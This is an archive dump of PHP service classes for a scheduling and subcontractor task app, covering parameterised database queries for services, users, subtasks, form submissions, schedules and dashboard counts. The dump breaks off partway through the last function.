PKe\9ServiceService.phpnu[db = new Database(); } public function addService($service) { $this->db->query('INSERT INTO services (name, region, address_line1, address_line2, suburb, city, state, postal_code, country, latitude, longitude, created_at, updated_at) VALUES (:name, :region, :address_line1, :address_line2, :suburb, :city, :state, :postal_code, :country, :latitude, :longitude, :created_at, :updated_at)'); $this->db->bind(':name', $service->name); $this->db->bind(':region', $service->region); $this->db->bind(':address_line1', $service->address_line1); $this->db->bind(':address_line2', $service->address_line2); $this->db->bind(':suburb', $service->suburb); $this->db->bind(':city', $service->city); $this->db->bind(':state', $service->state); $this->db->bind(':postal_code', $service->postal_code); $this->db->bind(':country', $service->country); $this->db->bind(':latitude', $service->latitude); $this->db->bind(':longitude', $service->longitude); $this->db->bind(':created_at', $service->created_at); $this->db->bind(':updated_at', $service->updated_at); if ($this->db->execute()) { return true; } else { return false; } } public function addServicereturnlastid($service) { $this->db->query('INSERT INTO services (name, region, address_line1, address_line2, suburb, city, state, postal_code, country, latitude, longitude, created_at, updated_at) VALUES (:name, :region, :address_line1, :address_line2, :suburb, :city, :state, :postal_code, :country, :latitude, :longitude, :created_at, :updated_at)'); $this->db->bind(':name', $service->name); $this->db->bind(':region', $service->region); $this->db->bind(':address_line1', $service->address_line1); $this->db->bind(':address_line2', $service->address_line2); $this->db->bind(':suburb', $service->suburb); $this->db->bind(':city', $service->city); $this->db->bind(':state', $service->state); $this->db->bind(':postal_code', $service->postal_code); $this->db->bind(':country', $service->country); $this->db->bind(':latitude', $service->latitude); $this->db->bind(':longitude', $service->longitude); $this->db->bind(':created_at', $service->created_at); $this->db->bind(':updated_at', $service->updated_at); if ($this->db->execute()) { return $this->db->lastInsertId(); // Retrieve the last inserted ID } else { return false; } } public function getAllServices() { $this->db->query('SELECT * FROM services'); return $this->db->resultSet(); } public function getAllServicesForDropdown() { $this->db->query('SELECT id, name,region FROM services'); return $this->db->resultSet(); } public function getServiceById(int $serviceId) { $this->db->query('SELECT * FROM services WHERE id = :id'); $this->db->bind(':id', $serviceId); return $this->db->single(); } public function updateService(array $serviceData) { $this->db->query('UPDATE services SET name = :name, region = :region, address_line1 = :address_line1, address_line2 = :address_line2, suburb = :suburb, city = :city, state = :state, postal_code = :postal_code, country = :country, phone = :phone, on_site_location = :on_site_location, latitude = :latitude, longitude = :longitude, updated_at = CURRENT_TIMESTAMP WHERE id = :id'); $this->db->bind(':id', $serviceData['id']); $this->db->bind(':name', $serviceData['name']); $this->db->bind(':region', $serviceData['region']); $this->db->bind(':address_line1', $serviceData['address_line1']); $this->db->bind(':address_line2', $serviceData['address_line2']); $this->db->bind(':suburb', $serviceData['suburb']); $this->db->bind(':city', $serviceData['city']); $this->db->bind(':state', $serviceData['state']); $this->db->bind(':postal_code', $serviceData['postal_code']); $this->db->bind(':country', $serviceData['country']); $this->db->bind(':phone', $serviceData['phone']); $this->db->bind(':on_site_location', $serviceData['on_site_location']); $this->db->bind(':latitude', $serviceData['latitude']); $this->db->bind(':longitude', $serviceData['longitude']); if ($this->db->execute()) { return true; // Update successful } else { return false; // Update failed } } public function getServiceByNameAndRegion(string $serviceName, string $region) { $this->db->query('SELECT * FROM services WHERE name = :name AND region = :region'); $this->db->bind(':name', $serviceName); $this->db->bind(':region', $region); return $this->db->single(); } }PKe\iJ*HHTaskFormService.phpnu[db = new Database(); } public function insertTaskForm($taskForm) { $this->db->query('INSERT INTO form_submissions (subtask_id, school_name, date, time, main_areas, notes, client_name, staff_name, client_signature, staff_signature, completion_time, latitude, longitude) VALUES (:subtask_id, :school_name, :date, :time, :main_areas, :notes, :client_name, :staff_name, :client_signature, :staff_signature, :completion_time, :latitude, :longitude)'); $this->db->bind(':subtask_id', $taskForm->subtask_id); $this->db->bind(':school_name', $taskForm->school_name); $this->db->bind(':date', $taskForm->date); $this->db->bind(':time', $taskForm->time); $this->db->bind(':main_areas', $taskForm->main_areas); $this->db->bind(':notes', $taskForm->notes); $this->db->bind(':client_name', $taskForm->client_name); $this->db->bind(':staff_name', $taskForm->staff_name); $this->db->bind(':client_signature', $taskForm->client_signature); $this->db->bind(':staff_signature', $taskForm->staff_signature); $this->db->bind(':completion_time', $taskForm->completion_time); $this->db->bind(':latitude', $taskForm->latitude); $this->db->bind(':longitude', $taskForm->longitude); if ($this->db->execute()) { return true; } else { return false; } } public function getTaskFormById($id) { $this->db->query('SELECT * FROM form_submissions WHERE id = :id'); $this->db->bind(':id', $id); return $this->db->single(); } }PKe\db = new Database(); } public function getSubtaskById($subtaskId) { $query = ' SELECT s.*, t.service_id, srv.name as service_name, srv.region as service_region FROM subtasks s LEFT JOIN tasks t ON s.task_id = t.id LEFT JOIN services srv ON t.service_id = srv.id WHERE s.id = :id '; $this->db->query($query); $this->db->bind(':id', $subtaskId); return $this->db->single(); } public function getSubtaskDetailsForWorkForm($id) { $query = ' SELECT s.*, t.service_id, srv.name as service_name, srv.region as service_region FROM subtasks s LEFT JOIN tasks t ON s.task_id = t.id LEFT JOIN services srv ON t.service_id = srv.id WHERE s.id = :id '; $this->db->query($query); $this->db->bind(':id', $id); return $this->db->single(); } public function updateSubtaskStatusAfterMessage(int $subtask_id, string $assigned_to_Mobile, string $assigned_Message_Rsponse) { try { $this->db->query('UPDATE subtasks SET assigned = true, assigned_to_Mobile = :assigned_to_Mobile, assigned_Message_Rsponse = :assigned_Message_Rsponse WHERE id = :id'); $this->db->bind(':id', $subtask_id); $this->db->bind(':assigned_to_Mobile', $assigned_to_Mobile); $this->db->bind(':assigned_Message_Rsponse', $assigned_Message_Rsponse); $result = $this->db->execute(); if (!$result) { throw new Exception('Database execution failed.'); } return $result; } catch (Exception $e) { error_log('Error in updateSubtaskStatusAfterMessage: ' . $e->getMessage()); throw $e; } } public function addSubtask(Subtask $subtask) { try { $this->db->query('INSERT INTO subtasks (task_id, service_id, subtask_date, subtask_time, created_at, updated_at) VALUES (:task_id, :service_id, :subtask_date, :subtask_time, :created_at, :updated_at)'); $this->db->bind(':task_id', $subtask->task_id); $this->db->bind(':service_id', $subtask->service_id); $this->db->bind(':subtask_date', $subtask->subtask_date); $this->db->bind(':subtask_time', $subtask->subtask_time); $this->db->bind(':created_at', $subtask->created_at); $this->db->bind(':updated_at', $subtask->updated_at); $result = $this->db->execute(); if (!$result) { throw new Exception('Database execution failed.'); } return $result; } catch (Exception $e) { error_log('Error in addSubtask: ' . $e->getMessage()); throw $e; } } public function deleteSubtaskById(int $subtaskId) { $this->db->query('DELETE FROM subtasks WHERE id = :id'); $this->db->bind(':id', $subtaskId); return $this->db->execute(); } public function getSubtaskLocation(string $subtaskId) { $this->db->query('SELECT latitude, longitude FROM form_submissions WHERE subtask_id = :subtask_id'); $this->db->bind(':subtask_id', $subtaskId); return $this->db->single(); } public function getSubtasksByDayForAssignedUser(int $assignedUserId) { //for now select all subtasks $this->db->query('SELECT * FROM subtasks'); $subtasks = $this->db->resultSet(); $subtasksByDay = []; foreach ($subtasks as $subtask) { $subtaskDate = $subtask->subtask_date; $subtaskDate = date('Y-m-d', strtotime($subtaskDate)); $subtasksByDay[$subtaskDate][] = $subtask; } return $subtasksByDay; } public function getAllSubtasksForTask($task_id) { try { // Adjusted SQL query to include service_name and region from services table $query = " SELECT subtasks.*, srv.name AS service_name, srv.region AS region FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id LEFT JOIN services srv ON tasks.service_id = srv.id WHERE subtasks.task_id = :task_id "; $this->db->query($query); $this->db->bind(':task_id', $task_id); $subtasks = $this->db->resultSet(); return $subtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function markSubtaskAsComplete($subtaskId) { try { $this->db->query('UPDATE subtasks SET completed = true, completed_at = NOW(),submitted_by_admin = true WHERE id = :id'); $this->db->bind(':id', $subtaskId); $result = $this->db->execute(); if (!$result) { throw new Exception('Database execution failed.'); } return $result; } catch (Exception $e) { error_log('Error in markSubtaskAsComplete: ' . $e->getMessage()); throw $e; } } public function ignoreSubtask($subtaskId) { try { $this->db->query('UPDATE subtasks SET ignored = true WHERE id = :id'); $this->db->bind(':id', $subtaskId); $result = $this->db->execute(); if (!$result) { throw new Exception('Database execution failed.'); } return $result; } catch (Exception $e) { error_log('Error in ignoreSubtask: ' . $e->getMessage()); throw $e; } } public function ignoreSubtasks(array $subtaskIds) { try { $placeholders = implode(',', array_fill(0, count($subtaskIds), '?')); $query = "UPDATE subtasks SET ignored = true WHERE id IN ($placeholders)"; $this->db->query($query); foreach ($subtaskIds as $index => $id) { $this->db->bind(($index + 1), $id); } $result = $this->db->execute(); if (!$result) { throw new Exception('Database execution failed.'); } return $result; } catch (Exception $e) { error_log('Error in ignoreSubtasks: ' . $e->getMessage()); throw $e; } } } PKe\nGUserService.phpnu[db = new Database(); } public function login($email, $password) { $this->db->query('SELECT id, email, password, role FROM users WHERE email = :email and status = :status'); $this->db->bind(':email', $email); $this->db->bind(':status', 'active'); $row = $this->db->single(); if ($row) { // Verify the password using password_verify() if (password_verify($password, $row->password)) { return $row; // Return the entire user row, which includes the role } } return false; } public function getAllUsers() { $this->db->query('SELECT id, first_name, last_name, email,phone,status, role ,last_login FROM users'); return $this->db->resultSet(); } public function authenticate($email, $password) { $this->db->query('SELECT * FROM users WHERE email = :email'); $this->db->bind(':email', $email); $row = $this->db->single(); if ($row && password_verify($password, $row->password)) { return true; } return false; } public function addUser($firstName, $lastName, $email, $phone, $role, $status, $password) { // Hash the password $passwordHash = password_hash($password, PASSWORD_DEFAULT); // Prepare and execute the SQL query $this->db->query('INSERT INTO users (first_name, last_name, email, phone, role, status, password) VALUES (:first_name, :last_name, :email, :phone, :role, :status, :password)'); $this->db->bind(':first_name', $firstName); $this->db->bind(':last_name', $lastName); $this->db->bind(':email', $email); $this->db->bind(':phone', $phone); $this->db->bind(':role', $role); $this->db->bind(':status', $status); $this->db->bind(':password', $passwordHash); $this->db->execute(); return $this->db->lastInsertId(); } public function updateUser($id, $firstName, $lastName, $email, $phone, $role) { $this->db->query('UPDATE users SET first_name = :first_name, last_name = :last_name, email = :email, phone = :phone, role = :role WHERE id = :id'); $this->db->bind(':id', $id); $this->db->bind(':first_name', $firstName); $this->db->bind(':last_name', $lastName); $this->db->bind(':email', $email); $this->db->bind(':phone', $phone); $this->db->bind(':role', $role); $this->db->execute(); } public function deleteUser($id) { // Soft delete if already active make it inactive or vice versa $this->db->query('SELECT status FROM users WHERE id = :id'); $this->db->bind(':id', $id); $row = $this->db->single(); $status = $row->status == 'active' ? 'inactive' : 'active'; $this->db->query('UPDATE users SET status = :status WHERE id = :id'); $this->db->bind(':id', $id); $this->db->bind(':status', $status); $this->db->execute(); } public function getUserById($id) { $this->db->query('SELECT id, first_name, last_name, email, phone, role, status FROM users WHERE id = :id'); $this->db->bind(':id', $id); return $this->db->single(); } public function isEmailExists($email) { $this->db->query('SELECT id FROM users WHERE email = :email'); $this->db->bind(':email', $email); $row = $this->db->single(); return $row ? true : false; } public function isEmailExistsForOthers($id, $email) { $this->db->query('SELECT id FROM users WHERE email = :email AND id != :id'); $this->db->bind(':email', $email); $this->db->bind(':id', $id); $row = $this->db->single(); return $row ? true : false; } public function resetPassword($id, $password) { $passwordHash = password_hash($password, PASSWORD_DEFAULT); $this->db->query('UPDATE users SET password = :password WHERE id = :id'); $this->db->bind(':id', $id); $this->db->bind(':password', $passwordHash); $this->db->execute(); } public function fetchUserName(int $userId) { $this->db->query('SELECT first_name, last_name FROM users WHERE id = :id'); $this->db->bind(':id', $userId); $row = $this->db->single(); return $row->first_name . ' ' . $row->last_name; } // Function to verify the user's password public function verifyUserPassword($email, $password) { // Call the getUserByEmail method from within the class $user = $this->getUserByEmail($email); if ($user) { // Verify the password using password_verify return password_verify($password, $user->password); } return false; // Return false if the user is not found } // Function to retrieve the user by email public function getUserByEmail($email) { // Get the database connection from the Database class $db = $this->db->getConn(); // Ensure the database object is properly initialized // Prepare and execute the query $stmt = $db->prepare("SELECT * FROM users WHERE email = :email"); $stmt->bindParam(':email', $email); $stmt->execute(); // Fetch the user as an object return $stmt->fetch(PDO::FETCH_OBJ); } } PKe\ n@J@JReportsAndDashboardService.phpnu[db = new Database(); } public function getServicesCount() { $this->db->query('SELECT COUNT(*) as count FROM services'); return $this->db->single(); } public function getUsersCount() { $this->db->query('SELECT COUNT(*) as count FROM users'); return $this->db->single(); } public function getTasksCount() { $this->db->query('SELECT COUNT(*) as count FROM tasks'); return $this->db->single(); } public function getSchedulesCount() { $this->db->query('SELECT COUNT(*) as count FROM schedules'); return $this->db->single(); } public function getSubtasksCount() { $this->db->query('SELECT COUNT(*) as count FROM subtasks'); return $this->db->single(); } //count unassign tasks public function getUnassignTasksCount() { $this->db->query('SELECT COUNT(*) as count FROM tasks WHERE is_assigned = 0'); return $this->db->single(); } //assigned tasks public function getAssignTasksCount() { $this->db->query('SELECT COUNT(*) as count FROM tasks WHERE is_assigned = 1'); return $this->db->single(); } //Total Contracts public function getContractorsCount() { $this->db->query('SELECT COUNT(*) as count FROM users where role = "subcontractor"'); return $this->db->single(); } // In your ScheduleService.php or a similar service file public function getSubtasks() { $thismonth = date('Y-m-01'); $this->db->query('SELECT DATE(completed_at) as completed_at, COUNT(*) as completed_subtasks FROM subtasks WHERE completed = 1 AND completed_at >= :thismonth GROUP BY DATE(completed_at)'); $this->db->bind(':thismonth', $thismonth); return $this->db->resultSet(); } public function getPendingTasks($companyId) { $this->db->query(' SELECT COUNT(*) as count FROM tasks WHERE assigned_to = :company_id and accepted = 1 AND finished = 0 '); $this->db->bind(':company_id', $companyId); $result = $this->db->single(); // Assuming single() returns an object // Check if $result is an object and has the 'count' property if (is_object($result) && isset($result->count)) { return $result->count; // Return the count property of the object } else { return 0; // Return 0 or handle the error condition appropriately } } public function getCompletedTasks($companyId) { $this->db->query(' SELECT COUNT(*) as count FROM tasks WHERE assigned_to = :company_id AND finished = 1 '); $this->db->bind(':company_id', $companyId); $result = $this->db->single(); // Assuming single() returns an object // Check if $result is an object and has the 'count' property if (is_object($result) && isset($result->count)) { return $result->count; // Return the count property of the object } else { return 0; // Return 0 or handle the error condition appropriately } } public function getOngoingSubtasks($companyId) { $this->db->query(' SELECT COUNT(*) as count FROM subtasks s JOIN tasks t ON s.task_id = t.id WHERE t.assigned_to = :company_id AND s.assigned = TRUE AND s.completed = FALSE '); $this->db->bind(':company_id', $companyId); $result = $this->db->single(); // Assuming single() returns an object // Check if $result is an object and has the 'count' property if (is_object($result) && isset($result->count)) { return $result->count; // Return the count property of the object } else { return 0; // Return 0 or handle the error condition appropriately } } public function getUnassignedSubtasks($companyId) { $this->db->query(' SELECT COUNT(*) as count FROM subtasks s JOIN tasks t ON s.task_id = t.id WHERE t.assigned_to = :company_id AND t.accepted = 1 AND s.assigned = FALSE '); $this->db->bind(':company_id', $companyId); $result = $this->db->single(); // Assuming single() returns an object // Check if $result is an object and has the 'count' property if (is_object($result) && isset($result->count)) { return $result->count; // Return the count property of the object } else { return 0; // Return 0 or handle the error condition appropriately } } public function getTasksAddedByMe($taskProviderId) { $this->db->query(' SELECT COUNT(*) as count FROM tasks WHERE added_by = :task_provider_id '); $this->db->bind(':task_provider_id', $taskProviderId); $result = $this->db->single(); // Assuming single() returns an object // Check if $result is an object and has the 'count' property if (is_object($result) && isset($result->count)) { return $result->count; // Return the count property of the object } else { return 0; // Return 0 or handle the error condition appropriately } } public function getOngoingSubTasksAdmin() { $this->db->query(' SELECT COUNT(*) as count FROM subtasks WHERE assigned = TRUE AND completed = FALSE '); $result = $this->db->single(); // Assuming single() returns an object // Check if $result is an object and has the 'count' property if (is_object($result) && isset($result->count)) { return $result->count; // Return the count property of the object } else { return 0; // Return 0 or handle the error condition appropriately } } public function getSubtasksSummaryAdmin() { // Combine queries to get counts for both completed and incomplete subtasks $this->db->query(' SELECT SUM(CASE WHEN completed = TRUE THEN 1 ELSE 0 END) as completed_count, SUM(CASE WHEN completed = FALSE THEN 1 ELSE 0 END) as incomplete_count FROM subtasks '); $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $completed = isset($result->completed_count) ? (int)$result->completed_count : 0; $incomplete = isset($result->incomplete_count) ? (int)$result->incomplete_count : 0; } // Return an associative array with the counts return [ 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getSubtasksSummaryTaskProvider($taskProviderId) { // Query to get counts for completed and incomplete subtasks for a specific task provider $this->db->query(' SELECT SUM(CASE WHEN subtasks.completed = TRUE THEN 1 ELSE 0 END) as completed_count, SUM(CASE WHEN subtasks.completed = FALSE THEN 1 ELSE 0 END) as incomplete_count FROM subtasks JOIN tasks ON subtasks.task_id = tasks.id JOIN schedules ON tasks.schedule_id = schedules.id WHERE schedules.created_by = :taskProviderId '); // Bind the task provider ID parameter to the query $this->db->bind(':taskProviderId', $taskProviderId); // Execute the query and fetch the result $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $completed = isset($result->completed_count) ? (int)$result->completed_count : 0; $incomplete = isset($result->incomplete_count) ? (int)$result->incomplete_count : 0; } // Return an associative array with the counts return [ 'completed' => $completed, 'incomplete' => $incomplete ]; } //total subtask for today = subtask_date public function getSubtasksSummaryForTodayAdmin($today) { // Combine all queries into one to reduce the number of database calls $this->db->query(' SELECT COUNT(*) as total_count, SUM(CASE WHEN completed = TRUE THEN 1 ELSE 0 END) as completed_count, SUM(CASE WHEN completed = FALSE THEN 1 ELSE 0 END) as incomplete_count FROM subtasks WHERE subtask_date = :today '); $this->db->bind(':today', $today); $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total_count) ? (int)$result->total_count : 0; $completed = isset($result->completed_count) ? (int)$result->completed_count : 0; $incomplete = isset($result->incomplete_count) ? (int)$result->incomplete_count : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getSubtasksSummaryForTodayTaskProvider($taskProviderId, $today) { // Query to get counts for subtasks for a specific task provider on a specific date $this->db->query(' SELECT COUNT(*) as total_count, SUM(CASE WHEN subtasks.completed = TRUE THEN 1 ELSE 0 END) as completed_count, SUM(CASE WHEN subtasks.completed = FALSE THEN 1 ELSE 0 END) as incomplete_count FROM subtasks JOIN tasks ON subtasks.task_id = tasks.id JOIN schedules ON tasks.schedule_id = schedules.id WHERE schedules.created_by = :taskProviderId AND subtasks.subtask_date = :today '); // Bind parameters to the query $this->db->bind(':taskProviderId', $taskProviderId); $this->db->bind(':today', $today); // Execute the query and fetch the result $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total_count) ? (int)$result->total_count : 0; $completed = isset($result->completed_count) ? (int)$result->completed_count : 0; $incomplete = isset($result->incomplete_count) ? (int)$result->incomplete_count : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getTodayTotalSubTasks($companyId, bool $date) { } public function getSubtasksSummaryForTodaySubContractor($companyId, $date) { // Combined query to get total, completed, and incomplete subtasks in one call $this->db->query(' SELECT COUNT(*) as total, SUM(CASE WHEN s.completed = 1 THEN 1 ELSE 0 END) as completed, SUM(CASE WHEN s.completed = 0 THEN 1 ELSE 0 END) as incomplete FROM subtasks s JOIN tasks t ON s.task_id = t.id WHERE t.assigned_to = :company_id AND s.subtask_date = :date AND t.accepted = 1 '); // Bind parameters $this->db->bind(':company_id', $companyId); $this->db->bind(':date', $date); // Execute query and get the result $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total) ? (int)$result->total : 0; $completed = isset($result->completed) ? (int)$result->completed : 0; $incomplete = isset($result->incomplete) ? (int)$result->incomplete : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getSubtasksSummaryForSubContractor($companyId) { // Combined query to get total, completed, and incomplete subtasks in one call $this->db->query(' SELECT COUNT(*) as total, SUM(CASE WHEN s.completed = 1 THEN 1 ELSE 0 END) as completed, SUM(CASE WHEN s.completed = 0 THEN 1 ELSE 0 END) as incomplete FROM subtasks s JOIN tasks t ON s.task_id = t.id WHERE t.assigned_to = :company_id AND t.accepted = 1 '); // Bind the company ID parameter to the query $this->db->bind(':company_id', $companyId); // Execute the query and fetch the result $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total) ? (int)$result->total : 0; $completed = isset($result->completed) ? (int)$result->completed : 0; $incomplete = isset($result->incomplete) ? (int)$result->incomplete : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getTasksSummaryAdmin() { // Combined query to get total, completed, and incomplete tasks in one call $this->db->query(' SELECT COUNT(*) as total, SUM(CASE WHEN finished = 1 THEN 1 ELSE 0 END) as completed, SUM(CASE WHEN finished = 0 THEN 1 ELSE 0 END) as incomplete FROM tasks '); $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total) ? (int)$result->total : 0; $completed = isset($result->completed) ? (int)$result->completed : 0; $incomplete = isset($result->incomplete) ? (int)$result->incomplete : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getTasksSummaryForSubContractor($companyId) { // Combined query to get total, completed, and incomplete tasks in one call $this->db->query(' SELECT COUNT(*) as total, SUM(CASE WHEN finished = 1 THEN 1 ELSE 0 END) as completed, SUM(CASE WHEN finished = 0 THEN 1 ELSE 0 END) as incomplete FROM tasks WHERE assigned_to = :company_id '); // Bind the company ID parameter to the query $this->db->bind(':company_id', $companyId); // Execute the query and fetch the result $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total) ? (int)$result->total : 0; $completed = isset($result->completed) ? (int)$result->completed : 0; $incomplete = isset($result->incomplete) ? (int)$result->incomplete : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } public function getTasksSummaryForTaskProvider($taskProviderId) { // Combined query to get total, completed, and incomplete tasks in one call $this->db->query(' SELECT COUNT(*) as total, SUM(CASE WHEN finished = 1 THEN 1 ELSE 0 END) as completed, SUM(CASE WHEN finished = 0 THEN 1 ELSE 0 END) as incomplete FROM tasks JOIN schedules ON tasks.schedule_id = schedules.id WHERE schedules.created_by = :taskProviderId '); // Bind the task provider ID parameter to the query $this->db->bind(':taskProviderId', $taskProviderId); // Execute the query and fetch the result $result = $this->db->single(); // Assuming single() returns an object // Initialize counts to 0 $total = 0; $completed = 0; $incomplete = 0; // Check if $result is an object and extract the properties if they exist if (is_object($result)) { $total = isset($result->total) ? (int)$result->total : 0; $completed = isset($result->completed) ? (int)$result->completed : 0; $incomplete = isset($result->incomplete) ? (int)$result->incomplete : 0; } // Return an associative array with the counts return [ 'total' => $total, 'completed' => $completed, 'incomplete' => $incomplete ]; } }PKe\]#i&&ScheduleService.phpnu[db = new Database(); } public function addSchedule($schedule) { $this->db->query('INSERT INTO schedules (schedule_name,created_by, completed, created_at, updated_at) VALUES (:schedule_name, :created_by,:completed, :created_at, :updated_at)'); $this->db->bind(':schedule_name', $schedule->getScheduleName()); $this->db->bind(':created_by', $schedule->getCreatedBy()); $this->db->bind(':completed', $schedule->getCompleted()); $this->db->bind(':created_at', $schedule->getCreatedAt()); $this->db->bind(':updated_at', $schedule->getUpdatedAt()); return $this->db->execute(); } public function getAllSchedules($filters = []) { $query = "SELECT schedules.*, CONCAT(users_created.first_name, ' ', users_created.last_name) AS created_by FROM schedules LEFT JOIN users AS users_created ON schedules.created_by = users_created.id WHERE 1=1"; $params = []; if (isset($filters['completed']) && $filters['completed'] !== '') { $query .= " AND schedules.completed = :completed"; $params[':completed'] = $filters['completed']; } if (!empty($filters['date_from'])) { $query .= " AND schedules.created_at >= :date_from"; $params[':date_from'] = $filters['date_from']; } if (!empty($filters['date_to'])) { $query .= " AND schedules.created_at <= :date_to"; $params[':date_to'] = $filters['date_to']; } $query .= " ORDER BY schedules.created_at DESC"; $this->db->query($query); foreach ($params as $key => $value) { $this->db->bind($key, $value); } return $this->db->resultSet(); } public function getAllSchedulesByTaskProvider($taskproviderid, $filters = []) { $query = "SELECT schedules.*, CONCAT(users_created.first_name, ' ', users_created.last_name) AS created_by FROM schedules LEFT JOIN users AS users_created ON schedules.created_by = users_created.id WHERE 1=1 AND schedules.created_by = :created_by"; $params = [':created_by' => $taskproviderid]; if (isset($filters['completed']) && $filters['completed'] !== '') { $query .= " AND schedules.completed = :completed"; $params[':completed'] = $filters['completed']; } if (!empty($filters['date_from'])) { $query .= " AND schedules.created_at >= :date_from"; $params[':date_from'] = $filters['date_from']; } if (!empty($filters['date_to'])) { $query .= " AND schedules.created_at <= :date_to"; $params[':date_to'] = $filters['date_to']; } $query .= " AND schedules.created_by = :created_by ORDER BY schedules.created_at DESC"; $this->db->query($query); foreach ($params as $key => $value) { $this->db->bind($key, $value); } return $this->db->resultSet(); } public function hasAssignedTasks($scheduleId) { $this->db->query('SELECT COUNT(*) AS assigned_task_count FROM tasks WHERE schedule_id = :schedule_id AND is_assigned = 1'); $this->db->bind(':schedule_id', $scheduleId); $result = $this->db->single(); return $result->assigned_task_count > 0; } //has assigned and accepted tasks public function hasAssignedAcceptedTasks($scheduleId) { $this->db->query('SELECT COUNT(*) AS assigned_task_count FROM tasks WHERE schedule_id = :schedule_id AND is_assigned = 1 AND accepted = 1'); $this->db->bind(':schedule_id', $scheduleId); $result = $this->db->single(); return $result->assigned_task_count > 0; } public function hasSubmittedSubTasks($scheduleId) { $this->db->query('SELECT COUNT(*) AS submitted_subtask_count FROM subtasks JOIN tasks ON subtasks.task_id = tasks.id WHERE tasks.schedule_id = :schedule_id AND subtasks.completed = 1'); $this->db->bind(':schedule_id', $scheduleId); $result = $this->db->single(); return $result->submitted_subtask_count > 0; } //has assigned and accepted tasks and completed subtasks public function hasAssignedAcceptedCompletedSubtasks($scheduleId) { $this->db->query('SELECT COUNT(*) AS assigned_task_count FROM tasks JOIN subtasks ON tasks.id = subtasks.task_id WHERE tasks.schedule_id = :schedule_id AND tasks.is_assigned = 1 AND tasks.accepted = 1 AND subtasks.completed = 1'); $this->db->bind(':schedule_id', $scheduleId); $result = $this->db->single(); return $result->assigned_task_count > 0; } public function deleteScheduleWithTasks($scheduleId) { try { $this->db->beginTransaction(); // Delete subtasks $this->db->query('DELETE subtasks FROM subtasks JOIN tasks ON subtasks.task_id = tasks.id WHERE tasks.schedule_id = :schedule_id'); $this->db->bind(':schedule_id', $scheduleId); $this->db->execute(); // Delete tasks $this->db->query('DELETE FROM tasks WHERE schedule_id = :schedule_id'); $this->db->bind(':schedule_id', $scheduleId); $this->db->execute(); // Delete schedule $this->db->query('DELETE FROM schedules WHERE id = :id'); $this->db->bind(':id', $scheduleId); $result = $this->db->execute(); $this->db->commit(); return $result; // Return the result of the delete operation } catch (PDOException $e) { $this->db->rollBack(); error_log("Error deleting schedule with tasks. Schedule ID: $scheduleId. Error: " . $e->getMessage()); return $e->getMessage(); // Return false to indicate failure } } public function deleteScheduleWithTasksByAdmin($scheduleId, $userId) { try { // Begin a transaction $this->db->beginTransaction(); // get user role $this->db->query('SELECT role FROM users WHERE id = :id'); $this->db->bind(':id', $userId); $result = $this->db->single(); $role = $result->role; // Check if the user is an admin if ($role != 'emera_admin') { // Check if the user has assigned tasks if ($this->hasAssignedTasks($scheduleId)) { return "You cannot delete a schedule with assigned tasks"; } } else { // Delete form submissions related to subtasks $this->db->query('DELETE FROM form_submissions WHERE subtask_id IN ( SELECT id FROM subtasks WHERE task_id IN ( SELECT id FROM tasks WHERE schedule_id = :schedule_id ) )'); $this->db->bind(':schedule_id', $scheduleId); $this->db->execute(); // Delete subtasks $this->db->query('DELETE subtasks FROM subtasks JOIN tasks ON subtasks.task_id = tasks.id WHERE tasks.schedule_id = :schedule_id'); $this->db->bind(':schedule_id', $scheduleId); $this->db->execute(); // Delete tasks $this->db->query('DELETE FROM tasks WHERE schedule_id = :schedule_id'); $this->db->bind(':schedule_id', $scheduleId); $this->db->execute(); // Delete the schedule $this->db->query('DELETE FROM schedules WHERE id = :id'); $this->db->bind(':id', $scheduleId); $result = $this->db->execute(); // Commit the transaction $this->db->commit(); return $result; // Return the result of the delete operation } } catch (PDOException $e) { // Rollback the transaction on error $this->db->rollBack(); error_log("Error deleting schedule with tasks. Schedule ID: $scheduleId. Error: " . $e->getMessage()); return $e->getMessage(); // Return error message to indicate failure } } public function addScheduleRetuenlastinsertedid($schedule) { $this->db->query('INSERT INTO schedules (schedule_name,created_by,completed, created_at, updated_at) VALUES (:schedule_name, :created_by, :completed, :created_at, :updated_at)'); $this->db->bind(':schedule_name', $schedule->getScheduleName()); $this->db->bind(':created_by', $schedule->getCreatedBy()); $this->db->bind(':completed', $schedule->getCompleted()); $this->db->bind(':created_at', $schedule->getCreatedAt()); $this->db->bind(':updated_at', $schedule->getUpdatedAt()); if ($this->db->execute()) { return $this->db->lastInsertId(); } 